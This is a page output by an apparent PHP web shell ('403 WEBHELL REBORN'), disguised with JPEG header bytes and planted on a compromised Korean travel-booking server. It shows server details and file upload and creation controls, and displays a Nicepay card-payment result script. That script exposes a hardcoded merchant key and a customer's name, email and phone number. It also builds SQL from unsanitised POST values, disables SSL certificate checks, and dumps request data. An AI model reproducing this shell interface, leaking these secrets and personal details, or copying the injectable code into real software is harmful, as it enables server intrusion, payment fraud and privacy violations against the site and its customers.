ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/ty_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/ty_test/tour_order_niceResult.html
<?php
header('Content-Type: text/html; charset=UTF-8');
error_reporting( E_ALL );
ini_set( "display_errors", 1 );

include $_SERVER['DOCUMENT_ROOT'].'/include/base.php';
include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php';

$memberID = $_SESSION['web_member']['mb_id'];
echo '<pre>';
var_dump($_POST);
echo '</pre>';
/*
 * Nicepay 결제 결과
 */
//include "../include/top.html";
//include "_common.php";
//deanLog("NicepayResult Start");
// 로그인체크
//if( $TO_MB['mb_level']>$cf['reserv_level'] ) movepage("/");

//echo '<pre>';
//var_dump($_POST);
//echo '</pre>';
//exit;

// 총결제액
$total_pay = 0;
$total_pay_fr = 0;

//
//echo '<pre>';
//var_dump($_POST);
//echo '</pre>';
//exit;



/******************************************************
 * <결제승인 파라미터>
 ******************************************************/

$merchantKey	= "mW1r6ggFYVl+cCv9gngBmAWNjfCnotcUJx8RNOhVYfdGm0EF8Qtwc3ZpDq3aCRAPvHNwr3VgzAsOL7M5jR0KAw=="; // 상점키

/****************************************************************************************
 * <인증 결과 파라미터>
 ****************************************************************************************/

$authResultCode	= $_POST['AuthResultCode'];		// 인증결과 : 0000(성공)
$authResultMsg	= $_POST['AuthResultMsg'];		// 인증결과 메시지
$nextAppURL		= $_POST['NextAppURL'];			// 승인 요청 URL
$txTid			= $_POST['TxTid'];				// 거래 ID
$authToken		= $_POST['AuthToken'];			// 인증 TOKEN
$payMethod		= $_POST['PayMethod'];			// 결제수단
$mid			= $_POST['MID'];				// 상점 아이디
$moid			= $_POST['Moid'];				// 상점 주문번호
$amt			= $_POST['Amt'];				// 결제 금액
$reqReserved	= $_POST['ReqReserved'];		// 상점 예약필드
$netCancelURL	= $_POST['NetCancelURL'];		// 망취소 요청 URL

/****************************************************************************************
 * <승인 결과 파라미터 정의>
 * 샘플페이지에서는 승인 결과 파라미터 중 일부만 예시되어 있으며,
 * 추가적으로 사용하실 파라미터는 연동메뉴얼을 참고하세요.
 ****************************************************************************************/

$response = "";
$paySuccess = false;

if($authResultCode === "0000"){
    /****************************************************************************************
     * <해쉬암호화> (수정하지 마세요)
     * SHA-256 해쉬암호화는 거래 위변조를 막기위한 방법입니다.
     ****************************************************************************************/

    $ediDate = date("YmdHis");
    $signData = bin2hex(hash('sha256', $authToken . $mid . $amt . $ediDate . $merchantKey, true));

    try{
        $NiceData = Array(
            'TID'		=> $txTid,
            'AuthToken'	=> $authToken,
            'MID'		=> $mid,
            'Amt'		=> $amt,
            'EdiDate'	=> $ediDate,
            'SignData'	=> $signData,
            'CharSet'	=> 'utf-8'
        );
        $response = reqPost($NiceData, $nextAppURL); //승인 호출

        $respArr = json_decode($response, true);

        p($respArr);

/*        [ResultCode] => 3001
    [ResultMsg] => 카드 결제 성공
        [MsgSource] => PG
        [Amt] => 000000000100
    [MID] => tktravel1m
        [Moid] => T1698067220B5B2FA9
        [BuyerEmail] => tktraveldeveloper@icloud.com
        [BuyerTel] => 01021330111
    [BuyerName] => 김태영
        [GoodsName] => -
        [TID] => tktravel1m01012310232224356044
        [AuthCode] =>
    [AuthDate] => 231023222435
    [PayMethod] => CARD
        [CartData] =>
    [Signature] => 8bfe04b683fb1bab9e95d5a5ecd8b8aa3055ca12f04ba695153a0729908f386a
        [MallReserved] =>
    [CardCode] => 40
    [CardName] => 카카오머니
        [CardNo] => ****
    [CardQuota] => 00
    [CardInterest] => 0
    [AcquCardCode] => 40
    [AcquCardName] => 카카오머니
        [CardCl] => 0
    [CcPartCl] => 1
    [CouponAmt] => 000000000000
    [CouponMinAmt] => 000000000000
    [PointAppAmt] => 000000000000
    [ClickpayCl] => 16
    [MultiCl] => 0
    [MultiCardAcquAmt] => 0
    [MultiPointAmt] => 100
    [MultiCouponAmt] => 0
    [RcptType] =>
    [RcptTID] =>
    [RcptAuthCode] =>
    [CardType] =>*/



        // 공통 파라미터
        $resultCode     = $respArr["ResultCode"];     // 결과코드 (정상 결과코드:3001)
        $resultMsg      = $respArr["ResultMsg"];      // 결과메시지
        $amt            = $respArr["Amt"];            // 금액
        $mid            = $respArr["MID"];            // 상점ID
        $moid           = $respArr["Moid"];           // 주문번호
        $Signature      = $respArr["Signature"];      // 위변조검증
        $buyerName      = $respArr["BuyerName"];      // 구매자명
        $buyerEmail     = $respArr["BuyerEmail"];     // 구매자메일
        $buyerTel       = $respArr["BuyerTel"];       // 구매자전화
        $goodsName      = $respArr["GoodsName"];      // 상품명
        $tid            = $respArr["TID"];            // 거래ID
        $authCode       = $respArr["AuthCode"];       // 승인번호
        $authDate       = $respArr["AuthDate"];       // 승인일시 (YYMMDDHH24mmss)
        $PayMethod      = $respArr["PayMethod"];      // 결제수단
        $MallReserved   = $respArr["MallReserved"];   // 여분필드

        // 카드 파라미터
        $cardCode       = $respArr["CardCode"];       // 결제카드사코드
        $cardName       = $respArr["CardName"];       // 결제카드사명
        $cardNo         = $respArr["CardNo"];         // 결제카드번호
        $ClickpayCl     = $respArr["ClickpayCl"];     // 간편결제구분 (16 Kakao, 20 Naver)

        // 간편결제
        if($ClickpayCl == 16) {
            $cardName = "카카오페이(".$cardName.")";
        } else if($ClickpayCl == 20) {
            $cardName = "네이버페이(".$cardName.")";
        }

        // 성공여부 확인
        if($payMethod == "CARD" && $resultCode == "3001") {
            $paySuccess = true; // 신용카드(정상 결과코드:3001)

        } else {
            throw new Exception('결제가 정상적으로 이루어지지 않았습니다.');
        }

    }catch(Exception $e){
        $e->getMessage();

        $NiceData = Array(
            'TID'		=> $txTid,
            'AuthToken'	=> $authToken,
            'MID'		=> $mid,
            'Amt'		=> $amt,
            'EdiDate'	=> $ediDate,
            'SignData'	=> $signData,
            'NetCancel'	=> '1',
            'CharSet'	=> 'utf-8'
        );

        $response = reqPost($NiceData, $netCancelURL); //예외 발생시 망취소 진행
    }

}else{
    //인증 실패 하는 경우 결과코드, 메시지
    $ResultCode = $authResultCode;
    $ResultMsg = $authResultMsg;
}

//Post api call
function reqPost(Array $NiceData, $url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); //connection timeout 15
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($NiceData)); //POST data
    curl_setopt($ch, CURLOPT_POST, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}


//입금 데이터 넣기
if($paySuccess){

    $buyr_name		= $buyerName;
    $buyr_mail		= $buyerEmail;
    $pg_tno			= $tid; // 주문번호

    $bank_cd		= $cardCode;	// 카드사코드
    $bank_nm		= $cardName;	// 카드사명
    $bank_number	= $cardNo;		// 카드번호

    $amt = (int) $amt;
    // 입금완료 처리
    $sql = "INSERT INTO TB_ACCOUNT_CUSTOMER SET ";
    $sql .= " res_no='{$moid}' ";
    $sql .= " ,acc_dt=curdate()";
    $sql .= " ,acnt_cd='MOCU002'"; // 카드결제code
    $sql .= " ,bank_plus='{$amt}'";

    $sql .= " ,pgcase_cd='INST002'";

    $sql .= " ,ins_dt=now()";
    $sql .= " ,bank_cd='{$bank_cd}'";
    $sql .= " ,bank_nm='{$bank_nm}'";
    $sql .= " ,bank_number='{$bank_number}'";
    $sql .= " ,pg_suply='nice'";
    $sql .= " ,pg_tno='{$pg_tno}'";
    $sql .= " ,pg_mid='{$mid}'";
    $sql .= " ,us_cent={$amt}";
    $sql .= " ,ins_mb_id='{$memberID}'";

    if($db_connect->query($sql)){
        $msg = _e('결제가 완료되었습니다.');
        echo "<script>alert('{$msg}');location.href='/page/my-reservation.html';</script>";
        exit;
    }else{
        $msg = _e('결제실패 - 관리자에게 문의하세요.');
        echo "<script>alert('{$msg}');location.href='/';</script>";
        exit;
    }

}


?>

    <!-- container -->
    <div id="container">
        <div id="contBody">
            <!-- contents -->
            <div id="contents">
                <div class="contents_wrap">

                    <!-- 내용 -->
                    <div class="reserve_wrap" >

                        <h5>01 . <?=_e("상품 정보");?></h5>
                        <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="예약번호, 상품타입, 상품명, 출발일, 상품금액 및 예약상태를 확인하실 수 있습니다." class="table_t mb30">
                            <caption>상품 정보</caption>
                            <colgroup>
                                <col width="170px" />
                                <col width="150px" />
                                <col width="*" />
                                <col width="100px" />
                                <col width="120px" />
                                <col width="100px" />
                            </colgroup>
                            <thead>
                            <tr>
                                <th>예약번호</th>
                                <th>상품타입</th>
                                <th>상품명</th>
                                <th>날짜</th>
                                <th>상품금액</th>
                                <th>예약상태</th>
                            </tr>
                            </thead>
                            <tbody>
                            <?
                            for($i=0 ; $i<count($data) ;$i++)
                            {
                                $row = $data[$i];
                                $total_pay += $row['pre_money'];
                                $total_pay_fr += $row['pre_money_fr'];
                                ?>
                                <tr>
                                    <td><?=$row['res_no']?></td><!-- 예약번호 -->
                                    <td><?=$row['tab_nm']?></td><!-- 상품타입 -->
                                    <td class="name"><?=$row['real_good_nm']?> / <?=$row['good_nm']?></td><!-- 상품명 -->
                                    <td><?=$row['d_start']?></td><!-- 출발일(입실일) -->
                                    <td class="align_r"><?=_eunit($row['price_sell_total_fr'])?></td><!-- 상품금액 -->
                                    <td><font color="<?=$row['res_stat_cd_color']?>"><strong><?=$row['res_stat_cd_str']?></strong></font></td><!-- 예약상태 -->
                                </tr>
                                <?
                            }
                            ?>
                            </tbody>
                        </table>


                            <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="충 결제금액을 확인하실 수 있습니다." class="table_l mb30">
                                <caption>결제 금액</caption>
                                <colgroup>
                                    <col width="170px" />
                                    <col width="*" />
                                </colgroup>
                                <tr>
                                    <th>총결제금액</th>
                                    <td class="total_price">
                                        <?
                                        echo $cf['pay_currency'] . number_format($total_pay_real);
                                        ?>
                                    </td><!-- 총결제금액 -->
                                </tr>
                                </tbody>
                            </table>
                        <?
                        // 신용카드 결제결과
                        if ( $payMethod == "CARD" )       // 신용카드
                        {
                            ?>
                            <h5>결제 정보</h5>
                            <table width="100%" align="center" cellpadding="0" cellspacing="0" summary="결제 수단,카드 승인 및 할부관련 정보를 확인하실 수 있습니다." class="table_l mb30">
                                <caption>결제 정보</caption>
                                <colgroup>
                                    <col width="170px" />
                                    <col width="330px" />
                                    <col width="170px" />
                                    <col width="*" />
                                </colgroup>
                                <tr>
                                    <th>결제수단</th>
                                    <td>신용카드</td>
                                    <th>결제카드</th>
                                    <td><?=$cardName?> / <?=$cardNo?></td>
                                </tr>
                                <tr>
                                    <th>승인시간</th>
                                    <td><?=substr($authDate,0,6)?> <?=substr($authDate,6,6)?></td>
                                    <th>승인번호</th>
                                    <td><?=$authCode?></td>
                                </tr>
                                <tr>
                                    <th>처리결과</th>
                                    <td colspan="3"><?=$resultMsg?></td>
                                </tr>
                                <tr>
                                    <th>영수증 확인</th>
                                    <td colspan="3"><strong><a href="javascript:receiptView('<?=$tid?>')">영수증 확인</a></strong></td>
                                </tr>
                            </table>
                            <?
                        }
                        ?>

                        <ul class="btn_wrap">
                            <li class="btn_ok"><a href="/">확인</a></li>
                        </ul>


                    </div>
                    <!-- /reserve_wrap -->
                </div>
                <!-- /contents_wrap -->
            </div>
            <!-- /contents -->
        </div>
        <!-- /contBody -->
    </div>
    <!-- /container -->

Anon7 - 2021